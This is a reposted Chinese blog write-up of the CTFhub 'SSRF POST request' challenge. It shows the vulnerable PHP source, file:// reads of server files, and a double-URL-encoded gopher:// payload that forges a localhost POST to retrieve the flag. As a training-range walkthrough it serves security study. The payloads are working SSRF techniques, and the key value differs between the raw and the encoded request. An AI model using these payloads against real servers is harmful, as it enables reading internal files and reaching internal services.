程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

CTFhub-ssrf-POST请求

发布于2022-08-03 17:21     阅读(1445)     评论(0)     点赞(15)     收藏(0)


CTFhub-ssrf-POST请求

解题

进入靶场,首先看到的是一片空白,没有任何返回,甚至看源码里面也没有任何东西

使用dirsearch扫描,扫出了一个文件/index.php
在这里插入图片描述还有一个flag.php,我是在网上看WP才知道有这个文件,看了很多篇WP都没有说这个文件怎么来的,只是直接说发现了这个文件

现在先来看一看这两个文件吧
首先是flag.php文件,我们让url=127.0.0.1/flag.php,通过内网来访问就能直接访问到了,访问后是一个方框

在这里插入图片描述
再看源码发现,需要用post传输一个key,传到/flag.php
在这里插入图片描述

那我们返回去把key放在里面传送,发现必须通过127.0.0.1的路径传输
先通过file协议看一看flag.php的源码吧,在这里我同时把index源码也放上去了,一起分析

url=file:///var/www/html/flag.php
url=file:///var/www/html/index.php

\\flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}//$_SERVER["REMOTE_ADDR"]意思是访问当前ip地址

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>
\\index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

首先分析一下flag.php文件,它是希望我们通过127.0.0.1的ip地址向它传输那个key值,它首先会通过**$_SERVER[“REMOTE_ADDR”]**来获取我们的ip地址。

再看一下index.php,这里是用了curl函数来获取并且输出数据,curl可以支持的伪协议有很多,gopher,file,dict,http/s

那么我们可以通过gopher协议,向flag.php传一个post报文,报文里面包含有key,大概内容为
url=gopher://127.0.0.1:80/_POST报文内容
这样我们就可以通过伪造127.0.0.1的ip来上传key

首先先来构造POST

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=51457bb0a50c1eb2c92dcc3ec3c2cc13

POST报文中必须包含Host Content-Length Content_Type后面加上我们想传输的数据
在POST后接上/flag.php,代表着我们想把数据传输的这个目录里去

这里我们报文内容显示在url上输入,被解码后保存到curl里面,再通过curl输出跳转,又解码了一次,所以我们要对POST报文内容进行两次url编码

在第一次编码要把%0A全部改成%0D0A,%0A是在linux系统中中代表换行符,在windos中是%0D0A代表换行符,但是网上的编码器大都是编码的%0A,所以我们需要改成windos能够识别的

编码后结果如下

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D0AHost%253A%2520127.0.0.1%253A80%250D0AContent-Length%253A%252036%250D0AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D0A%250Akey%253D26d81cc19370f4a76fec4b8f1e446dbb

最后在url上输入

在这里插入图片描述
最终得到flag
在这里插入图片描述

原文链接:https://blog.csdn.net/qq_51553814/article/details/119613725



所属网站分类: 技术文章 > 博客

作者:T4yufbhhhh

链接:http://www.phpheidong.com/blog/article/355592/2ac9223d1a01cbbe8384/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

15 0
收藏该文
已收藏

评论内容:(最多支持255个字符)